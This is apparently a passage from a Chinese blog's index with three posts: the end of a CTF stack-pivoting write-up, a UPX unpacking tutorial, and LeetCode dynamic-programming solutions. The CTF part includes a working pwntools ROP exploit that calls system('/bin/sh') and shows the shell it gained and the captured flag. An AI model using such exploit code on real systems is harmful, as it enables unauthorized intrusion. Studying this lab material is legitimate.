<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">high address </span><br><span class="line"> +--------------------+ <--+ </span><br><span class="line"> +------> | previous rbp | |</span><br><span class="line"> | +--------------------+ |</span><br><span class="line"> | | ...... | |</span><br><span class="line"> | +--------------------+ | main()</span><br><span class="line"> | | buf | |</span><br><span class="line"> | +--------------------+ |</span><br><span class="line"> | | return address | |</span><br><span class="line"> | +--------------------+ <--+</span><br><span class="line"> +------- | previous rbp | |</span><br><span class="line"> +--------------------+ |</span><br><span class="line"> | ...... | | print_name()</span><br><span class="line"> +--------------------+ |</span><br><span class="line"> | dest | |</span><br><span class="line"> +--------------------+ <--+</span><br><span class="line">low address </span><br></pre></td></tr></table></figure>
<p>覆盖后的栈帧结构</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">high address </span><br><span class="line"> +--------------------+ </span><br><span class="line"> | previous rbp | </span><br><span class="line"> +--------------------+ </span><br><span class="line"> | ...... | </span><br><span class="line"> +--------------------+ </span><br><span class="line"> | ROP chain | </span><br><span class="line"> +--------------------+ <--+ </span><br><span class="line"> +------> | buf | |</span><br><span class="line"> | +--------------------+ | main()</span><br><span class="line"> | | return address | |</span><br><span class="line"> | +--------------------+ <--+</span><br><span class="line"> +------- | previous rbp | |</span><br><span class="line"> +--------------------+ |</span><br><span class="line"> | ...... | | print_name()</span><br><span class="line"> +--------------------+ |</span><br><span class="line"> | dest | |</span><br><span class="line"> +--------------------+ <--+</span><br><span class="line">low address </span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h2 id="步骤"><a href="#步骤" class="headerlink" title="步骤"></a>步骤</h2><p>因为是64位程序,传参是通过寄存器,所以得先<code>ROPgadget --binary stack4 --only "pop|ret" | grep rdi</code>获取到寄存器保存参数和ret的地址为0x4008a3</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(root💀06aa46c0844f)-[/home/stack_pivoting]</span><br><span class="line">└─<span class="comment"># ROPgadget --binary stack4 --only "pop|ret" | grep rdi</span></span><br><span class="line">0x00000000004008a3 : pop rdi ; ret</span><br></pre></td></tr></table></figure>
<p>获取”/bin/sh”的地址为0x4008c9,<code>ROPgadget --binary stack4 --string "/bin/sh"</code></p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(root💀06aa46c0844f)-[/home/stack_pivoting]</span><br><span class="line">└─<span class="comment"># ROPgadget --binary stack4 --string "/bin/sh"</span></span><br><span class="line">Strings information</span><br><span class="line">============================================================</span><br><span class="line">0x00000000004008c9 : /bin/sh</span><br></pre></td></tr></table></figure>
<p>获取system的地址为0x40073a,<code>objdump -d stack4 | grep 'plt'</code></p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(root💀06aa46c0844f)-[/home/stack_pivoting]</span><br><span class="line">└─<span class="comment"># objdump -d stack4 | grep 'plt'</span></span><br><span class="line">Disassembly of section .plt:</span><br><span class="line">00000000004005d0 <.plt>:</span><br><span class="line">00000000004005e0 <puts@plt>:</span><br><span class="line"> 4005eb: e9 e0 ff ff ff jmp 4005d0 <.plt></span><br><span class="line">00000000004005f0 <setbuf@plt>:</span><br><span class="line"> 4005fb: e9 d0 ff ff ff jmp 4005d0 <.plt></span><br><span class="line">0000000000400600 <system@plt>:</span><br><span class="line"> 40060b: e9 c0 ff ff ff jmp 4005d0 <.plt></span><br><span class="line">0000000000400610 <<span class="built_in">printf</span>@plt>:</span><br><span class="line"> 40061b: e9 b0 ff ff ff jmp 4005d0 <.plt></span><br><span class="line">0000000000400620 <<span class="built_in">read</span>@plt>:</span><br><span class="line"> 40062b: e9 a0 ff ff ff jmp 4005d0 <.plt></span><br><span class="line">0000000000400630 <memcpy@plt>:</span><br><span class="line"> 40063b: e9 90 ff ff ff jmp 4005d0 <.plt></span><br><span class="line"> 40073a: e8 c1 fe ff ff call 400600 <system@plt></span><br><span class="line"> 400761: e8 ca fe ff ff call 400630 <memcpy@plt></span><br><span class="line"> 400779: e8 92 fe ff ff call 400610 <<span class="built_in">printf</span>@plt></span><br><span class="line"> 4007a8: e8 43 fe ff ff call 4005f0 <setbuf@plt></span><br><span class="line"> 4007bc: e8 2f fe ff ff call 4005f0 <setbuf@plt></span><br><span class="line"> 4007d0: e8 1b fe ff ff call 4005f0 <setbuf@plt></span><br><span class="line"> 4007dc: e8 ff fd ff ff call 4005e0 <puts@plt></span><br><span class="line"> 4007f7: e8 14 fe ff ff call 400610 <<span class="built_in">printf</span>@plt></span><br><span class="line"> 400803: e8 d8 fd ff ff call 4005e0 <puts@plt></span><br><span class="line"> 40081c: e8 ff fd ff ff call 400620 <<span class="built_in">read</span>@plt></span><br></pre></td></tr></table></figure>
<p>构造出payload = p64(0xdeadbeef) + p64(rdi_ret_addr) + p64(sh_addr) + p64(system_addr) + ‘a’*16 + p64(buf_addr)</p>
<h2 id="EXP"><a href="#EXP" class="headerlink" title="EXP"></a>EXP</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># encoding: utf-8</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context.log_level = 'debug'</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> <span class="comment">#r = remote("47.94.239.235", 2024)</span></span><br><span class="line"> r = process(<span class="string">"./stack4"</span>)</span><br><span class="line"> rdi_ret_addr = <span class="number">0x4008a3</span></span><br><span class="line"> sh_addr = <span class="number">0x4008c9</span></span><br><span class="line"> system_addr = <span class="number">0x40073a</span></span><br><span class="line"> r.recvuntil(<span class="string">":"</span>)</span><br><span class="line"> buf_addr = r.recvuntil(<span class="string">"\n"</span>)</span><br><span class="line"> buf_addr = <span class="built_in">int</span>(buf_addr[-<span class="number">15</span>:-<span class="number">1</span>], <span class="number">16</span>)</span><br><span class="line"> payload = p64(<span class="number">0xdeadbeef</span>) + p64(rdi_ret_addr) + p64(sh_addr) + p64(system_addr) + <span class="string">'a'</span>*<span class="number">16</span> + p64(buf_addr)</span><br><span class="line"> r.recv()</span><br><span class="line"> r.send(payload)</span><br><span class="line"> r.interactive()</span><br></pre></td></tr></table></figure>
<p>打通!</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">🍎 ~/kali/ python exp.py</span><br><span class="line">[+] Opening connection to 47.94.239.235 on port 2024: Done</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">Hello ᆳ?</span><br><span class="line">$ whoami</span><br><span class="line">ctf</span><br><span class="line">$ ls</span><br><span class="line">bin</span><br><span class="line">boot</span><br><span class="line">dev</span><br><span class="line">etc</span><br><span class="line">home</span><br><span class="line">lib</span><br><span class="line">lib32</span><br><span class="line">lib64</span><br><span class="line">media</span><br><span class="line">mnt</span><br><span class="line">opt</span><br><span class="line">proc</span><br><span class="line">root</span><br><span class="line">run</span><br><span class="line">sbin</span><br><span class="line">srv</span><br><span class="line">sys</span><br><span class="line">tmp</span><br><span class="line">usr</span><br><span class="line">var</span><br><span class="line">$ cat home/ctf/flag</span><br><span class="line">flag{a32fd27e21-d663-41c0-be6c-9cbb2d504823}</span><br></pre></td></tr></table></figure>
]]></content>
<tags>
<tag>PWN</tag>
<tag>CTF</tag>
<tag>ROP</tag>
</tags>
</entry>
<entry>
<title>Upx脱壳</title>
<url>/2020/11/24/Upx%E8%84%B1%E5%A3%B3/</url>
<content><![CDATA[<p>#Upx脱壳</p>
<p><strong>脚本脱壳:</strong><br>放入Exeinfo PE中检测,发现是UPX壳,而且提示可以用upx.exe -d进行脱壳处理</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3lvqgej30p00cwtby.jpg" alt="image-20210522225828389"></p>
<p>upx.exe -d 程序.exe</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3fy33lj30ty0awab9.jpg" alt="image-20210522225835114"></p>
<p><strong>手动脱壳</strong></p>
<p>法一:根据跨段指令寻找OEP<br>绝大多数加壳程序会在被加密的程序中加上一个或多个段,在最后跳转至OEP时一般都是通过一个跨段跳转指令,所以一句跨段的转移指令(远JMP等)就可找到真正的入口点,在改跳转指令前一般会有POPAD/POPFD指令出现(用于回复入口现场)可以用作定位参考<br>首先是pushad,将全部的通用寄存器入栈,那么我们往下面翻,找到远跳转指令</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3c4iknj31wg0u04by.jpg" alt="image-20210522225845167"></p>
<p>主要是找远跳转指令的机器码(E9),普通的jmp是E8,找到E9后,对其下断点,运行到此处</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3p9w80j31um0u0qfj.jpg" alt="image-20210522225854194"></p>
<p>按F8步入后就是OEP了</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3nejj9j31lv0u0an6.jpg" alt="image-20210522225904855"></p>
<p>法二:根据堆栈平衡原理寻找OEP<br>该方法即为”ESP定律”法,对绝大部分压缩壳都很有效,原理便是基于栈平衡,壳段代码在保存现场后,我们队ESP指向的内存单元下硬件访问断点,那么在壳段代码恢复现场时定会访问到这个单元,此时我们EIP所处的位置处于壳段代码末端,距离跳转至OEP也就不远了</p>
<p>先单步执行pushad指令,然后对此时的ESP下断点(就是此时的栈顶,右下角)对此处下硬件断点访问</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3q65wyj31gu0u0wqn.jpg" alt="image-20210522225915983"></p>
<p>R运行后,可以发现从popad断下来了</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3j4yyvj31ds0u0qdq.jpg" alt="image-20210522225924883"></p>
<p>法三:根据内存断点寻找OEP<br>内存断点的作用:在程序对一端内存进行访问时断下该程序,一般借用对内存保护属性进行修改,触发一场来实现中断。<br>壳必须要解压和解密原来的代码,这个过程可以看做对原程序指令所处的代码段的写入,壳最后还需要转交执行权给原程序,会触发对原程序指令所处的代码段的执行,这两个点都可以被用来监控壳段代码的行为以及寻找OEP</p>
<p>在x32dbg/x64dbg中的内存布局中对UPX0右键内存断点->执行->一次性</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3mghjwj31jg0tewps.jpg" alt="image-20210522225936820"></p>
<p>R运行,就会直接断到EOP位置(时间有点慢)</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3ezc3nj30t606utas.jpg" alt="image-20210522225945782"></p>
<p>最后使用Scylla进行Dump!</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3kj7lej311e0u0aj5.jpg" alt="image-20210522225955069"></p>
<p><strong>可是还没有结束!!!!</strong><br>导入ida发现IAT需要修复!</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3hqk6tj30mk07gmxp.jpg" alt="image-20210522230004776"></p>
<p>IAT修复:Dump出来的程序一般是无法直接运行的,因为缺少了必要的信息,PE加载器不能正确地填充IAT,导致所有的动态链接库API调用都不能正确寻址,如下:</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3kwx78j31a40o03zx.jpg" alt="image-20210522230013464"></p>
<p>解决方法:重建INT(用工具修复法)<br>我们这里所说的INT(Import Address Table)并非我们所说的导入表(Import Table),但是在一个PE文件中,这两个表的内容是完全一致的</p>
<p>在<strong>OEP位置</strong>搜索ITA,在Scylla中按IAT Autosearch,结果如下</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3fhgebj30u00vn438.jpg" alt="image-20210522230023159"></p>
<p>按get import获取导入信息</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3inji4j30u00w0te3.jpg" alt="image-20210522230033739"></p>
<p>把划×的给删除就行了</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3lmmayj30ju0c4ab8.jpg" alt="image-20210522230041599"></p>
<p>然后点击fix dump,选择我们之前dump出来的程序</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3jzuz5j30b606y74a.jpg" alt="image-20210522230049471"></p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3po1dqj30wg0u0gsf.jpg" alt="image-20210522230053924"></p>
<p>最后提示导入信息重建成功</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3e02gaj30x009k40w.jpg" alt="image-20210522230104771"></p>
<p>然后运行我们的修复后的dump_SCY,发现还是跑不了</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3msibpj30jc054wex.jpg" alt="image-20210522230112243"></p>
<p>用dbg打开发现OEP正常了,如图1,但是F9运行下去说异常于0x0063175D如图2<br>图1 OEP正常了</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3onqfhj315c05kac4.jpg" alt="image-20210522230119527"></p>
<p>图2 异常于0x0063175D,而且说EB3004是无效的地址</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3btu4lj30za0u0n6q.jpg" alt="image-20210522230128348"></p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3gqvoqj30nw050gmc.jpg" alt="image-20210522230134324"></p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3h9g6zj30we07wdgz.jpg" alt="image-20210522230138611"></p>
<p>用CFF Exploer VIII把unpack_test_dump_SCY中的可选头中的DLL can move这个选项给去掉</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3ccrnrj31wg0u04by.jpg" alt="image-20210522230147905"></p>
<p>点击保存后,再打开,这个时候就去壳成功了!</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3jmgxfj30qa082wf1.jpg" alt="image-20210522230156339"></p>
<p>补充:看看去壳成功后和刚才异常的区别<br>把刚刚去DLL的程序再还原一下(即再勾选一次)</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3i47akj30v60kkn0c.jpg" alt="image-20210522230203487"></p>
<p>在异常的代码(<strong>机器码那个位置</strong>)那里复制它的二进制</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3o0lttj316k0rqjzx.jpg" alt="image-20210522230211003"></p>
<p>用dbg再次打开,ctrl + b搜索特征码</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3gdz9kj31010u0dii.jpg" alt="image-20210522230218258"></p>
<p>dbg搜索的时候在打开文件的时候先要F9运行到真正的程序开始,否则搜不到</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3czm4dj30ti0aswfs.jpg" alt="image-20210522230225714"></p>
<p>此时发现都是地址都有值了,都是EB开头,也没有问号了</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd3dhqy7j30wm0dq0xz.jpg" alt="image-20210522230236755"></p>
]]></content>
<tags>
<tag>Reverse</tag>
</tags>
</entry>
<entry>
<title>Dynamic_Practice</title>
<url>/2022/11/21/Dynamic-Practice/</url>
<content><![CDATA[<h3 id="70-Climbing-Stairs"><a href="#70-Climbing-Stairs" class="headerlink" title="70.Climbing Stairs"></a>70.Climbing Stairs</h3><p><strong>Description:</strong></p>
<p>You are climbing a staircase. It takes <code>n</code> steps to reach the top.</p>
<p>Each time you can either climb <code>1</code> or <code>2</code> steps. In how many distinct ways can you climb to the top?</p>
<p><strong>Example 1:</strong></p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Input: n = 2</span><br><span class="line">Output: 2</span><br><span class="line">Explanation: There are two ways to climb to the top.</span><br><span class="line">1. 1 step + 1 step</span><br><span class="line">2. 2 steps</span><br></pre></td></tr></table></figure>
<p><strong>Example 2:</strong></p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Input: n = 3</span><br><span class="line">Output: 3</span><br><span class="line">Explanation: There are three ways to climb to the top.</span><br><span class="line">1. 1 step + 1 step + 1 step</span><br><span class="line">2. 1 step + 2 steps</span><br><span class="line">3. 2 steps + 1 step</span><br></pre></td></tr></table></figure>
<p><strong>Constraints:</strong></p>
<ul>
<li><code>1 <= n <= 45</code></li>
</ul>
<p><strong>Code:</strong></p>
<figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Solution</span> {</span></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> <span class="function"><span class="keyword">int</span> <span class="title">climbStairs</span><span class="params">(<span class="keyword">int</span> n)</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> * dp = <span class="keyword">new</span> <span class="keyword">int</span>[n+<span class="number">1</span>];</span><br><span class="line"> dp[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">if</span> (n == <span class="number">1</span>) {</span><br><span class="line"> dp[<span class="number">1</span>] = <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">return</span> dp[<span class="number">1</span>];</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> (n == <span class="number">2</span>) {</span><br><span class="line"> dp[<span class="number">2</span>] = <span class="number">2</span>;</span><br><span class="line"> <span class="keyword">return</span> dp[<span class="number">2</span>];</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> dp[<span class="number">1</span>] = <span class="number">1</span>;</span><br><span class="line"> dp[<span class="number">2</span>] = <span class="number">2</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">3</span>; i <= n; i++) {</span><br><span class="line"> dp[i] = dp[i<span class="number">-1</span>] + dp[i<span class="number">-2</span>];</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> dp[n];</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">};</span><br></pre></td></tr></table></figure>
<h3 id="746-Min-Cost-Climbing-Stairs"><a href="#746-Min-Cost-Climbing-Stairs" class="headerlink" title="746.Min Cost Climbing Stairs"></a>746.Min Cost Climbing Stairs</h3><p><strong>Description:</strong></p>
<p>You are given an integer array <code>cost</code> where <code>cost[i]</code> is the cost of <code>ith</code> step on a staircase. Once you pay the cost, you can either climb one or two steps.</p>
<p>You can either start from the step with index <code>0</code>, or the step with index <code>1</code>.</p>
<p>Return <em>the minimum cost to reach the top of the floor</em>.</p>
<p><strong>Example 1:</strong></p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Input: cost = [10,15,20]</span><br><span class="line">Output: 15</span><br><span class="line">Explanation: You will start at index 1.</span><br><span class="line">- Pay 15 and climb two steps to reach the top.</span><br><span class="line">The total cost is 15.</span><br></pre></td></tr></table></figure>
<p><strong>Example 2:</strong></p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Input: cost = [1,100,1,1,1,100,1,1,100,1]</span><br><span class="line">Output: 6</span><br><span class="line">Explanation: You will start at index 0.</span><br><span class="line">- Pay 1 and climb two steps to reach index 2.</span><br><span class="line">- Pay 1 and climb two steps to reach index 4.</span><br><span class="line">- Pay 1 and climb two steps to reach index 6.</span><br><span class="line">- Pay 1 and climb one step to reach index 7.</span><br><span class="line">- Pay 1 and climb two steps to reach index 9.</span><br><span class="line">- Pay 1 and climb one step to reach the top.</span><br><span class="line">The total cost is 6.</span><br></pre></td></tr></table></figure>
<p><strong>Constraints:</strong></p>
<ul>
<li><code>2 <= cost.length <= 1000</code></li>
<li><code>0 <= cost[i] <= 999</code></li>
</ul>
<p><strong>Code:</strong></p>
<figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Solution</span> {</span></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> <span class="function"><span class="keyword">int</span> <span class="title">minCostClimbingStairs</span><span class="params">(vector<<span class="keyword">int</span>>& cost)</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> n = cost.<span class="built_in">size</span>();</span><br><span class="line"> vector <<span class="keyword">int</span>> <span class="built_in">dp</span>(n+<span class="number">1</span>);</span><br><span class="line"> dp[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">if</span> (n <= <span class="number">1</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">2</span>; i <= n; i++) {</span><br><span class="line"> dp[i] = <span class="built_in">min</span>(dp[i<span class="number">-1</span>] + cost[i<span class="number">-1</span>], dp[i<span class="number">-2</span>] + cost[i<span class="number">-2</span>]);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> dp[n];</span><br><span class="line"> }</span><br><span class="line">};</span><br></pre></td></tr></table></figure>
<h3 id="62-Unique-Paths"><a href="#62-Unique-Paths" class="headerlink" title="62. Unique Paths"></a>62. Unique Paths</h3><p><strong>Description:</strong></p>
<p>There is a robot on an <code>m x n</code> grid. The robot is initially located at the <strong>top-left corner</strong> (i.e., <code>grid[0][0]</code>). The robot tries to move to the <strong>bottom-right corner</strong> (i.e., <code>grid[m - 1][n - 1]</code>). The robot can only move either down or right at any point in time.</p>
<p>Given the two integers <code>m</code> and <code>n</code>, return <em>the number of possible unique paths that the robot can take to reach the bottom-right corner</em>.</p>
<p>The test cases are generated so that the answer will be less than or equal to <code>2 * 109</code>.</p>
<p> <strong>Example 1:</strong></p>
<p><img src="https://assets.leetcode.com/uploads/2018/10/22/robot_maze.png" alt="img"></p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Input: m = 3, n = 7</span><br><span class="line">Output: 28</span><br></pre></td></tr></table></figure>
<p><strong>Example 2:</strong></p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Input: m = 3, n = 2</span><br><span class="line">Output: 3</span><br><span class="line">Explanation: From the top-left corner, there are a total of 3 ways to reach the bottom-right corner:</span><br><span class="line">1. Right -> Down -> Down</span><br><span class="line">2. Down -> Down -> Right</span><br><span class="line">3. Down -> Right -> Down</span><br></pre></td></tr></table></figure>
<p><strong>Constraints:</strong></p>
<ul>
<li><code>1 <= m, n <= 100</code></li>
</ul>
<p><strong>Code:</strong></p>
<figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Solution</span> {</span></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> <span class="function"><span class="keyword">int</span> <span class="title">uniquePaths</span><span class="params">(<span class="keyword">int</span> m, <span class="keyword">int</span> n)</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> grid[m][n];</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < m; i++) {</span><br><span class="line"> grid[i][<span class="number">0</span>] = <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < n; i++) {</span><br><span class="line"> grid[<span class="number">0</span>][i] = <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">1</span>; i < m; i++) {</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> j = <span class="number">1</span>; j < n; j++) {</span><br><span class="line"> grid[i][j] = grid[i<span class="number">-1</span>][j] + grid[i][j<span class="number">-1</span>];</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> grid[m<span class="number">-1</span>][n<span class="number">-1</span>];</span><br><span class="line"> }</span><br><span class="line">};</span><br></pre></td></tr></table></figure>
<p>*<strong>Number Theory</strong></p>
<p><strong>Code:</strong></p>
<figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Solution</span> {</span></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> <span class="function"><span class="keyword">int</span> <span class="title">uniquePaths</span><span class="params">(<span class="keyword">int</span> m, <span class="keyword">int</span> n)</span> </span>{</span><br><span class="line"> <span class="keyword">long</span> <span class="keyword">long</span> numerator = <span class="number">1</span>; <span class="comment">// 分子</span></span><br><span class="line"> <span class="keyword">int</span> denominator = m - <span class="number">1</span>; <span class="comment">// 分母</span></span><br><span class="line"> <span class="keyword">int</span> count = m - <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">int</span> t = m + n - <span class="number">2</span>;</span><br><span class="line"> <span class="keyword">while</span> (count--) {</span><br><span class="line"> numerator *= (t--);</span><br><span class="line"> <span class="keyword">while</span> (denominator != <span class="number">0</span> && numerator % denominator == <span class="number">0</span>) {</span><br><span class="line"> numerator /= denominator;</span><br><span class="line"> denominator--;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> numerator;</span><br><span class="line"> }</span><br><span class="line">};</span><br></pre></td></tr></table></figure>
<p><strong>Reference:</strong></p>
<p><a href="https://github.com/youngyangyang04/leetcode-master/blob/master/problems/0062.%E4%B8%8D%E5%90%8C%E8%B7%AF%E5%BE%84.md">https://github.com/youngyangyang04/leetcode-master/blob/master/problems/0062.%E4%B8%8D%E5%90%8C%E8%B7%AF%E5%BE%84.md</a></p>
<h3 id="63-Unique-Paths-II"><a href="#63-Unique-Paths-II" class="headerlink" title="63. Unique Paths II"></a>63. Unique Paths II</h3><p><strong>Description:</strong></p>
<p>You are given an <code>m x n</code> integer array <code>grid</code>. There is a robot initially located at the <strong>top-left corner</strong> (i.e., <code>grid[0][0]</code>). The robot tries to move to the <strong>bottom-right corner</strong> (i.e., <code>grid[m - 1][n - 1]</code>). The robot can only move either down or right at any point in time.</p>
<p>An obstacle and space are marked as <code>1</code> or <code>0</code> respectively in <code>grid</code>. A path that the robot takes cannot include <strong>any</strong> square that is an obstacle.</p>
<p>Return <em>the number of possible unique paths that the robot can take to reach the bottom-right corner</em>.</p>
<p>The testcases are generated so that the answer will be less than or equal to <code>2 * 109</code>.</p>
<p><strong>Example 1:</strong></p>
<p><img src="https://assets.leetcode.com/uploads/2020/11/04/robot1.jpg" alt="img"></p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Input: obstacleGrid = [[0,0,0],[0,1,0],[0,0,0]]</span><br><span class="line">Output: 2</span><br><span class="line">Explanation: There is one obstacle in the middle of the 3x3 grid above.</span><br><span class="line">There are two ways to reach the bottom-right corner:</span><br><span class="line">1. Right -> Right -> Down -> Down</span><br><span class="line">2. Down -> Down -> Right -> Right</span><br></pre></td></tr></table></figure>
<p><strong>Example 2:</strong></p>
<p><img src="https://assets.leetcode.com/uploads/2020/11/04/robot2.jpg" alt="img"></p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Input: obstacleGrid = [[0,1],[0,0]]</span><br><span class="line">Output: 1</span><br></pre></td></tr></table></figure>
<p><strong>Constraints:</strong></p>
<ul>
<li><code>m == obstacleGrid.length</code></li>
<li><code>n == obstacleGrid[i].length</code></li>
<li><code>1 <= m, n <= 100</code></li>
<li><code>obstacleGrid[i][j]</code> is <code>0</code> or <code>1</code>.</li>
</ul>